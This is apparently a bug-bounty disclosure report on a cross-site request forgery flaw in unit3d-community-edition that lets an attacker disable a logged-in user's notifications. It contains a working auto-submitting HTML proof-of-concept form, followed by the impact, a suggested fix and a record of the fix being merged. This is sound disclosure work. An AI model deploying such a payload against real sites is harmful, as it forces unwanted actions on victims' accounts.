Cross-Site Request Forgery (CSRF) in hdinnovations/unit3d-community-edition

Valid

Reported on

Aug 4th 2021


✍️ Description

Attacker is able to disable a user notification if a logged in user visits attacker website.

🕵️‍♂️ Proof of Concept

  1. when you logged in open this POC.html in a browser
  2. you can check your notification is disabled
<html>
 <body>
 <script>history.pushState('', '', '/')</script>
   <form action="https://unit3d.site/users/UNIT3D/settings/notification/disable">
     <input type="submit" value="Submit request" />
   </form>
   <script>
     document.forms[0].submit();
   </script>
 </body>
</html>

💥 Impact

This vulnerability is capable of forging user to unintentional disable notification.

💥 Test

Tested on Edge, firefox, chrome and safari.

💥 Fix

You should set a CSRF token on such GET requests or you can use POST instead of GET then because of cookie SameSite is Lax, request from other origins could not carry cookie.

Occurences

References

We have contacted a member of the hdinnovations/unit3d-community-edition team and are waiting to hear back 4 months ago
hdinnovations/unit3d-community-edition maintainer validated this vulnerability 4 months ago
Musio has been awarded the disclosure bounty
The fix bounty is now up for grabs
HDVinnie confirmed that a fix has been merged on 5dc526 2 months ago
HDVinnie has been awarded the fix bounty
web.php#L326 has been validated